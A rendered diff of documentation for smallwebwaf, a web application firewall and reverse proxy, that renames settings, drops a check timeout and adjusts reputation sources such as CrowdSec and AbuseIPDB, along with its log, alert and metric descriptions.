SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION: deny
|
SWW_RPROXY_DEFAULT_DISPOSITION: deny
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
@@ -674,7 +463,7 @@ services:
|
|||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWW_COMMAND: waf
|
SWW_COMMAND: waf
|
||||||
SWW_WAF_INSTANCE_NAME: host1/waf
|
SWW_WAF_INSTANCE_NAME: fsn1/waf
|
||||||
# Refuse nothing yet; log what enforce mode would have done.
|
# Refuse nothing yet; log what enforce mode would have done.
|
||||||
SWW_WAF_MODE: observe
|
SWW_WAF_MODE: observe
|
||||||
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
||||||
@@ -743,37 +532,28 @@ request reaches the app.
|
|||||||
16. A path under `/_sww/` is answered `404`, so that the app never sees that
|
16. A path under `/_sww/` is answered `404`, so that the app never sees that
|
||||||
prefix.
|
prefix.
|
||||||
|
|
||||||
Steps 12 to 14 only read the request. While the lookup waits for GeoJS, they run
|
|
||||||
at the same time as steps 6 to 11. The first of the two sides to refuse the
|
|
||||||
request ends the checks, and `waf` answers at once. Steps 12 to 14 have 500 ms
|
|
||||||
together.
|
|
||||||
|
|
||||||
`rproxy` takes the rest, with `waf` counting at the end:
|
`rproxy` takes the rest, with `waf` counting at the end:
|
||||||
|
|
||||||
17. The request is passed to the app, streaming.
|
17. The request is passed to the app, streaming.
|
||||||
18. After the answer, `rproxy` sends `waf` a report with the status and the body
|
18. After the answer, `rproxy` sends `waf` a report with the status and the body
|
||||||
bytes each way. For an allowed request, `waf` counts the bytes
|
bytes each way. For an allowed request, `waf` counts the bytes
|
||||||
`SWW_WAF_BYTES_COUNTED` names toward the byte limits, bans the client if
|
`SWW_WAF_BYTES_COUNT` names toward the byte limits, bans the client if they
|
||||||
they take it past one, and adds the request to the client's history.
|
take it past one, and adds the request to the client's history.
|
||||||
|
|
||||||
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
|
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
|
||||||
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
|
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
|
||||||
false positives; such refusals count toward `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`
|
false positives; such refusals count toward `SWW_WAF_ERROR_BURST_THRESHOLD`
|
||||||
instead. A request over the header limits of step 3 is answered `414` for a
|
instead. A request over the header limits of step 3 is answered `431`, and bans
|
||||||
request line over 8 KiB and `431` otherwise. It bans nobody either. Nor does a
|
nobody either. `rproxy` itself answers `405` to a method it does not pass on,
|
||||||
request that steps 12 to 14 have not finished within 500 ms, which is answered
|
and the status for a size or time limit, such as `413` for a body too large.
|
||||||
`503`. `rproxy` itself answers `405` to a method it does not pass on, and the
|
|
||||||
status for a size or time limit, such as `413` for a body too large.
|
|
||||||
|
|
||||||
### Clients and bans
|
### Clients and bans
|
||||||
|
|
||||||
- A client is one IPv4 address or one IPv6 netblock of
|
- A client is one IPv4 address or one IPv6 netblock of
|
||||||
`SWW_WAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64.
|
`SWW_WAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64.
|
||||||
- Each limit is counted over a sliding window with a few integers per client.
|
- Each limit is counted over a sliding window with a few integers per client.
|
||||||
The table of clients and the bans for limits and attacks each have a bound
|
The table of clients and the table of bans each have a bound
|
||||||
(`SWW_WAF_MAX_TRACKED_CLIENTS`, `SWW_WAF_MAX_BANS`). The bans for AbuseIPDB's
|
(`SWW_WAF_MAX_TRACKED_CLIENTS`, `SWW_WAF_MAX_BANS`), so memory is bounded too.
|
||||||
blacklist are bounded by the clients it listed over the last
|
|
||||||
`SWW_WAF_ABUSEIPDB_BAN_DAYS` days. So memory is bounded too.
|
|
||||||
- A ban refuses every request from its netblock until it ends. Requests refused
|
- A ban refuses every request from its netblock until it ends. Requests refused
|
||||||
under a ban count toward no limit. A permanent ban ends only when an admin
|
under a ban count toward no limit. A permanent ban ends only when an admin
|
||||||
lifts it.
|
lifts it.
|
||||||
@@ -790,7 +570,8 @@ Each request gets tags from what `waf` knows of its client, written in the
|
|||||||
- `asn=<number>` and `country=<code>`, from the lookup;
|
- `asn=<number>` and `country=<code>`, from the lookup;
|
||||||
- one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as
|
- one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as
|
||||||
`torexit` or `vpn=mullvad`;
|
`torexit` or `vpn=mullvad`;
|
||||||
- `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists the client;
|
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
|
||||||
|
the client;
|
||||||
- `exploitsignature`, when a rule file or the Core Rule Set matched the request;
|
- `exploitsignature`, when a rule file or the Core Rule Set matched the request;
|
||||||
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
|
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
|
||||||
`SWW_WAF_ROUTEWATCH_URL` is set.
|
`SWW_WAF_ROUTEWATCH_URL` is set.
|
||||||
@@ -802,8 +583,8 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
|
|
||||||
- The Core Rule Set reads the method, the URL with its query string, and the
|
- The Core Rule Set reads the method, the URL with its query string, and the
|
||||||
headers of every request, and no body unless
|
headers of every request, and no body unless
|
||||||
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. In front of a code forge,
|
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. In front of a code forge, bodies
|
||||||
bodies carry what people write and publish, which the rules take for attacks.
|
carry what people write and publish, which the rules take for attacks.
|
||||||
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
|
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
|
||||||
requests to a code forge through, such as git over HTTP and sign-in through
|
requests to a code forge through, such as git over HTTP and sign-in through
|
||||||
Git Credential Manager. No setting undoes the changes; "Attack detection" in
|
Git Credential Manager. No setting undoes the changes; "Attack detection" in
|
||||||
@@ -896,16 +677,14 @@ stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
|
|||||||
|
|
||||||
- `cmd/sww`: the binary, which only calls `internal/sww`.
|
- `cmd/sww`: the binary, which only calls `internal/sww`.
|
||||||
- `internal/sww`: the process, as the command it is given, and the health check.
|
- `internal/sww`: the process, as the command it is given, and the health check.
|
||||||
It is the only package that imports `go.uber.org/fx`, which builds the parts
|
|
||||||
of `waf` and `rproxy`.
|
|
||||||
- `internal/config`: reads the settings, the one place they are read.
|
- `internal/config`: reads the settings, the one place they are read.
|
||||||
- `internal/rproxy`: the reverse proxy in front of one app.
|
- `internal/rproxy`: the reverse proxy in front of one app.
|
||||||
- `internal/waf`: `waf`'s server, which runs the checks and answers its own
|
- `internal/waf`: `waf`'s server, which runs the checks and answers its own
|
||||||
endpoints.
|
endpoints.
|
||||||
- `internal/ratelimit`, `internal/bans`, `internal/rules`,
|
- `internal/ratelimit`, `internal/bans`, `internal/rules`,
|
||||||
`internal/coreruleset`, `internal/geojs`, `internal/lookup`,
|
`internal/coreruleset`, `internal/lookup`, `internal/reputation`,
|
||||||
`internal/reputation`, `internal/routewatch`, `internal/anomaly` and
|
`internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
|
||||||
`internal/alerts`: one check or source each.
|
source each.
|
||||||
- `internal/state`, `internal/requestlog`, `internal/remotelog` and
|
- `internal/state`, `internal/requestlog`, `internal/remotelog` and
|
||||||
`internal/metrics`: the state and cache files, the log lines, the syslog
|
`internal/metrics`: the state and cache files, the log lines, the syslog
|
||||||
sender and the metrics.
|
sender and the metrics.
|
||||||
@@ -972,9 +751,10 @@ on the host.
|
|||||||
- `script/docker`: builds the image, whose build runs the tests and the linter
|
- `script/docker`: builds the image, whose build runs the tests and the linter
|
||||||
first. `make docker`.
|
first. `make docker`.
|
||||||
- `script/publish`: runs `script/docker`, whose build happens on the Docker host
|
- `script/publish`: runs `script/docker`, whose build happens on the Docker host
|
||||||
named by `DOCKER_HOST`, then pushes the image to `PUBLISH_IMAGE`, such as
|
named by `DOCKER_HOST` (`ssh://root@fsn1app1` unless set). It then pushes the
|
||||||
`registry.example.com/smallwebwaf`. Both variables are required. It refuses a
|
image to `PUBLISH_IMAGE` (`git.eeqj.de/sneak/smallwebwaf` unless set). It
|
||||||
working tree with uncommitted changes. `make publish`. It pushes four tags:
|
refuses a working tree with uncommitted changes. `make publish`. It pushes
|
||||||
|
four tags:
|
||||||
- the UTC date as `YYYY-MM-DD`;
|
- the UTC date as `YYYY-MM-DD`;
|
||||||
- the short commit hash;
|
- the short commit hash;
|
||||||
- the branch name;
|
- the branch name;
|
||||||
|
|||||||
@@ -9,10 +9,6 @@
|
|||||||
ARG SWW_IMAGE=smallwebwaf
|
ARG SWW_IMAGE=smallwebwaf
|
||||||
FROM ${SWW_IMAGE}
|
FROM ${SWW_IMAGE}
|
||||||
|
|
||||||
# Its own title and description, in place of the smallwebwaf image's.
|
|
||||||
LABEL org.opencontainers.image.title="smallwebwaf-example-app" \
|
|
||||||
org.opencontainers.image.description="An example app built on the smallwebwaf image."
|
|
||||||
|
|
||||||
# Packages the app needs, from the nixpkgs in the image.
|
# Packages the app needs, from the nixpkgs in the image.
|
||||||
RUN nix-env -iA nixpkgs.busybox
|
RUN nix-env -iA nixpkgs.busybox
|
||||||
|
|
||||||
|
|||||||
+7
-6
@@ -6,15 +6,16 @@ back or dropped.
|
|||||||
|
|
||||||
## Events
|
## Events
|
||||||
|
|
||||||
- `ban`: a ban `waf` made for a broken limit or a clear sign of attack.
|
- `ban`: a ban `waf` made.
|
||||||
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
|
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
|
||||||
a request.
|
a request.
|
||||||
- `core_rule_set_match`: the Core Rule Set scored a request at or over the
|
- `core_rule_set_match`: the Core Rule Set scored a request at or over the
|
||||||
threshold. The request was refused unless the alert's `detail` gives `mode`:
|
threshold. The request was refused unless the alert's `detail` gives `mode`:
|
||||||
`detect` or `observe`.
|
`detect` or `observe`.
|
||||||
- `anomaly`: a count over an anomaly threshold.
|
- `anomaly`: a count over an anomaly threshold.
|
||||||
- `reputation_hit`: a request from a client on a blocklist or a DNS blocklist,
|
- `reputation_hit`: a request from a client on a blocklist, the CrowdSec
|
||||||
or with an AbuseIPDB score that is a hit. One alert per source.
|
decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
|
||||||
|
One alert per source.
|
||||||
- `source_failure`: one of:
|
- `source_failure`: one of:
|
||||||
- GeoJS failing;
|
- GeoJS failing;
|
||||||
- a list that cannot be fetched;
|
- a list that cannot be fetched;
|
||||||
@@ -34,7 +35,7 @@ on one line:
|
|||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"instance": "host1/waf",
|
"instance": "fsn1/waf",
|
||||||
"time": "2026-10-06T12:00:50.123461Z",
|
"time": "2026-10-06T12:00:50.123461Z",
|
||||||
"event": "ban",
|
"event": "ban",
|
||||||
"host": "app.example",
|
"host": "app.example",
|
||||||
@@ -69,7 +70,7 @@ on one line:
|
|||||||
"limit": 0,
|
"limit": 0,
|
||||||
"attack": 0,
|
"attack": 0,
|
||||||
"admin": 0,
|
"admin": 0,
|
||||||
"abuseipdb": 0
|
"crowdsec": 0
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
@@ -110,7 +111,7 @@ on one line:
|
|||||||
## Slack and ntfy
|
## Slack and ntfy
|
||||||
|
|
||||||
Slack and ntfy get a message with a title and a text. The title is the instance
|
Slack and ntfy get a message with a title and a text. The title is the instance
|
||||||
and the event, such as `host1/waf: ban`. The text is the `reason`, then one line
|
and the event, such as `fsn1/waf: ban`. The text is the `reason`, then one line
|
||||||
for each of these that the alert has:
|
for each of these that the alert has:
|
||||||
|
|
||||||
- the host, the client, the netblock and the country;
|
- the host, the client, the netblock and the country;
|
||||||
|
|||||||
+2
-3
@@ -6,7 +6,7 @@ the `instance` label as `exported_instance` unless the scrape sets
|
|||||||
`honor_labels: true`. `rproxy` has no metrics.
|
`honor_labels: true`. `rproxy` has no metrics.
|
||||||
|
|
||||||
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
||||||
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
|
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
|
||||||
|
|
||||||
## Traffic
|
## Traffic
|
||||||
|
|
||||||
@@ -33,8 +33,7 @@ body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
|
|||||||
|
|
||||||
## Countries and AS numbers
|
## Countries and AS numbers
|
||||||
|
|
||||||
For the `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` busiest of each, the rest
|
For the `SWW_WAF_METRICS_TOP_N` busiest of each, the rest as `other`:
|
||||||
as `other`:
|
|
||||||
|
|
||||||
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
||||||
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
||||||
|
|||||||
+17
-29
@@ -26,7 +26,7 @@ These questions write no line:
|
|||||||
A `report` line:
|
A `report` line:
|
||||||
|
|
||||||
```
|
```
|
||||||
{"type":"request","waf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"host1/waf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
|
{"type":"request","waf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/waf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Every line
|
### Every line
|
||||||
@@ -68,8 +68,7 @@ Every one of these lines has:
|
|||||||
### Request detail
|
### Request detail
|
||||||
|
|
||||||
- `request_id`: the id `rproxy` made for the request when it arrived.
|
- `request_id`: the id `rproxy` made for the request when it arrived.
|
||||||
- `peer_ip`: the address of `rproxy`'s TCP peer, normally the TLS-terminating
|
- `peer_ip`: the address of `rproxy`'s TCP peer, normally traefik.
|
||||||
proxy.
|
|
||||||
- `forwarded_for`: the `X-Forwarded-For` header the visitor's request came with.
|
- `forwarded_for`: the `X-Forwarded-For` header the visitor's request came with.
|
||||||
- `client_group`: the client as rate limiting counts it, an IPv4 address as a
|
- `client_group`: the client as rate limiting counts it, an IPv4 address as a
|
||||||
/32 or an IPv6 group.
|
/32 or an IPv6 group.
|
||||||
@@ -98,15 +97,12 @@ Every one of these lines has:
|
|||||||
- `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source
|
- `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source
|
||||||
with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`;
|
with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`;
|
||||||
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
|
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
|
||||||
rule or a trap path that made such a ban;
|
rule, a trap path or a CrowdSec decision that made such a ban;
|
||||||
- `permanently_banned`: refused under a ban that never runs out, including a
|
- `permanently_banned`: refused under a ban that never runs out, including a
|
||||||
ban this request made or made permanent;
|
ban this request made or made permanent;
|
||||||
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
|
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
|
||||||
`blocked_by_core_rule_set`: refused by that check;
|
`blocked_by_core_rule_set`: refused by that check;
|
||||||
- `request_line_too_long`: a request line over the header limits;
|
- `request_header_too_large`: over a header limit;
|
||||||
- `request_header_too_large`: headers over the header limits;
|
|
||||||
- `checks_timed_out`: refused with `503` because the trap paths, the rule
|
|
||||||
files and the Core Rule Set had not finished within 500 ms;
|
|
||||||
- `own_endpoint`: answered at one of `waf`'s own endpoints, or `404` for a
|
- `own_endpoint`: answered at one of `waf`'s own endpoints, or `404` for a
|
||||||
path under `/_sww/`.
|
path under `/_sww/`.
|
||||||
- `would_action`: in `observe` mode, what `enforce` mode would have done with a
|
- `would_action`: in `observe` mode, what `enforce` mode would have done with a
|
||||||
@@ -122,25 +118,19 @@ Every one of these lines has:
|
|||||||
- `countries`: `country`, and `setting`, the country list that refused it;
|
- `countries`: `country`, and `setting`, the country list that refused it;
|
||||||
- `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries;
|
- `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries;
|
||||||
- `blocklists`: `lists`, the blocklist URLs that list the client;
|
- `blocklists`: `lists`, the blocklist URLs that list the client;
|
||||||
|
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
|
||||||
|
decision ends;
|
||||||
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
|
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
|
||||||
masked;
|
masked;
|
||||||
- `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`;
|
- `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`;
|
||||||
- `rate_limits`: `window`, `count` and `limit`;
|
- `rate_limits`: `window`, `count` and `limit`;
|
||||||
- `trap_paths`: `path`, the trap path asked for;
|
- `trap_paths`: `path`, the trap path asked for;
|
||||||
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
||||||
- `header_limits`: for a request line, `request_line_bytes` and
|
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
|
||||||
`request_line_bytes_limit`; for headers, `longest_header_line_bytes`,
|
|
||||||
`header_line_bytes_limit`, `fields`, `fields_limit`, `cookies` and
|
|
||||||
`cookies_limit`;
|
|
||||||
- `core_rule_set`: `score`, and `threshold`,
|
- `core_rule_set`: `score`, and `threshold`,
|
||||||
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`;
|
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`;
|
||||||
- `refusal_limit`: `window`, `count` and `limit`, of the refusal limit;
|
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
||||||
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
||||||
|
|
||||||
For a request refused as `checks_timed_out`, `heuristic` is the one of
|
|
||||||
`trap_paths`, `rule_files` and `core_rule_set` that had not finished, and
|
|
||||||
its figure is `time_limit_ms`, 500.
|
|
||||||
|
|
||||||
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
|
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
|
||||||
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
|
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
|
||||||
- `after_answer_heuristic_figures`: an object of the figures that heuristic
|
- `after_answer_heuristic_figures`: an object of the figures that heuristic
|
||||||
@@ -158,7 +148,7 @@ Every one of these lines has:
|
|||||||
holds:
|
holds:
|
||||||
- `minute`, `hour` and `day`: requests;
|
- `minute`, `hour` and `day`: requests;
|
||||||
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
||||||
`SWW_WAF_BYTES_COUNTED` names, in that window.
|
`SWW_WAF_BYTES_COUNT` names, in that window.
|
||||||
|
|
||||||
A count can have a fraction (see "Counting method" in
|
A count can have a fraction (see "Counting method" in
|
||||||
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
||||||
@@ -168,8 +158,7 @@ Every one of these lines has:
|
|||||||
- `limit_hit`: the limit broken:
|
- `limit_hit`: the limit broken:
|
||||||
- `minute`, `hour` or `day` for a rate limit;
|
- `minute`, `hour` or `day` for a rate limit;
|
||||||
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
||||||
- `minute_refusals` for the refusal limit
|
- `minute_refusals` for the error burst (`SWW_WAF_ERROR_BURST_THRESHOLD`).
|
||||||
(`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`).
|
|
||||||
|
|
||||||
When the bytes counted for a request and its response break a limit, the
|
When the bytes counted for a request and its response break a limit, the
|
||||||
request has been passed on whole, so its `action` stays `forward`. Only its
|
request has been passed on whole, so its `action` stays `forward`. Only its
|
||||||
@@ -181,6 +170,7 @@ Every one of these lines has:
|
|||||||
and the rules that matched, for a request it inspected.
|
and the rules that matched, for a request it inspected.
|
||||||
- `reputation`: the sources the client is on, in this order:
|
- `reputation`: the sources the client is on, in this order:
|
||||||
- blocklist URLs;
|
- blocklist URLs;
|
||||||
|
- the CrowdSec decision list's URL;
|
||||||
- DNS blocklist zones;
|
- DNS blocklist zones;
|
||||||
- `abuseipdb`.
|
- `abuseipdb`.
|
||||||
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
|
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
|
||||||
@@ -243,16 +233,14 @@ meanings where they differ:
|
|||||||
was sooner. It includes the wait for `waf`.
|
was sooner. It includes the wait for `waf`.
|
||||||
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
||||||
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
||||||
is `waf`'s answer, or the value of
|
is `waf`'s answer, or the value of `SWW_RPROXY_DEFAULT_DISPOSITION`. It is
|
||||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. It is left out when:
|
left out when:
|
||||||
- `waf` was not asked and `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` did
|
- `waf` was not asked, as for the health check;
|
||||||
not apply, as for the health check;
|
|
||||||
- the visitor went away while `waf` was being asked;
|
- the visitor went away while `waf` was being asked;
|
||||||
- `waf`'s answer had no valid `X-Sww-Disposition`;
|
- `waf`'s answer had no valid `X-Sww-Disposition`;
|
||||||
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
|
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
|
||||||
- `waf_backend_no_answer`: `true` when
|
- `default_disposition`: `true` when `SWW_RPROXY_DEFAULT_DISPOSITION` gave
|
||||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` gave `disposition`, and
|
`disposition`, and otherwise left out.
|
||||||
otherwise left out.
|
|
||||||
|
|
||||||
For example:
|
For example:
|
||||||
|
|
||||||
|
|||||||
+87
-99
@@ -12,8 +12,6 @@ chooses between the two (see "The image's command" below).
|
|||||||
|
|
||||||
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
|
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
|
||||||
and negative durations are refused.
|
and negative durations are refused.
|
||||||
- A time in milliseconds is a whole number above zero, such as `2000`. Its
|
|
||||||
setting's name ends in `_MS`.
|
|
||||||
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
|
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
|
||||||
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
|
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
|
||||||
- A count is a whole number of requests, such as `1000`.
|
- A count is a whole number of requests, such as `1000`.
|
||||||
@@ -34,7 +32,7 @@ chooses between the two (see "The image's command" below).
|
|||||||
such as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
|
such as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
|
||||||
- `SWW_WAF_INSTANCE_NAME` (default: the container's host name): the `instance`
|
- `SWW_WAF_INSTANCE_NAME` (default: the container's host name): the `instance`
|
||||||
name in each line `waf` logs, and in each alert and metric, such as
|
name in each line `waf` logs, and in each alert and metric, such as
|
||||||
`host1/waf`. Valid UTF-8. No control character while `SWW_WAF_ALERT_NTFY_URL`
|
`fsn1/waf`. Valid UTF-8. No control character while `SWW_WAF_ALERT_NTFY_URL`
|
||||||
is set. 1 to 48 printable ASCII characters without a space while
|
is set. 1 to 48 printable ASCII characters without a space while
|
||||||
`SWW_WAF_LOG_REMOTE_URL` is set and `SWW_WAF_LOG_REMOTE_APP_NAME` is not.
|
`SWW_WAF_LOG_REMOTE_URL` is set and `SWW_WAF_LOG_REMOTE_APP_NAME` is not.
|
||||||
- `SWW_WAF_MODE` (default `enforce`): `enforce` or `observe`.
|
- `SWW_WAF_MODE` (default `enforce`): `enforce` or `observe`.
|
||||||
@@ -42,8 +40,8 @@ chooses between the two (see "The image's command" below).
|
|||||||
client's group, from 32 to 128.
|
client's group, from 32 to 128.
|
||||||
- `SWW_WAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a
|
- `SWW_WAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a
|
||||||
whole number above zero.
|
whole number above zero.
|
||||||
- `SWW_WAF_MAX_BANS` (default `5000`): the most bans `waf` keeps for broken
|
- `SWW_WAF_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a
|
||||||
limits and attacks, a whole number above zero.
|
whole number above zero.
|
||||||
|
|
||||||
## Tokens
|
## Tokens
|
||||||
|
|
||||||
@@ -57,9 +55,9 @@ chooses between the two (see "The image's command" below).
|
|||||||
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
|
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
|
||||||
files, an absolute path that can be written. The image's `run` script makes
|
files, an absolute path that can be written. The image's `run` script makes
|
||||||
it.
|
it.
|
||||||
- `SWW_WAF_BANS_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
- `SWW_WAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||||
written after a ban is made, lifted or made permanent. A duration.
|
written after a ban is made, lifted or made permanent. A duration.
|
||||||
- `SWW_WAF_STATE_WRITE_INTERVAL` (default `15m`): how often every state and
|
- `SWW_WAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and
|
||||||
cache file is written. A duration.
|
cache file is written. A duration.
|
||||||
- `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache
|
- `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache
|
||||||
files, an absolute path that can be written. The image's `run` script makes
|
files, an absolute path that can be written. The image's `run` script makes
|
||||||
@@ -79,8 +77,8 @@ chooses between the two (see "The image's command" below).
|
|||||||
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
|
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
|
||||||
that a `syslog+tls` server's certificate must chain to, instead of the host's
|
that a `syslog+tls` server's certificate must chain to, instead of the host's
|
||||||
own. A file that cannot be read, or holds no certificate, is refused.
|
own. A file that cannot be read, or holds no certificate, is refused.
|
||||||
- `SWW_WAF_LOG_REMOTE_BUFFER_LINES` (default `10000`): the most lines held while
|
- `SWW_WAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
|
||||||
they wait to be sent, a whole number above zero.
|
wait to be sent, a whole number above zero.
|
||||||
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
||||||
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
||||||
`authpriv`, `ftp`, or `local0` to `local7`.
|
`authpriv`, `ftp`, or `local0` to `local7`.
|
||||||
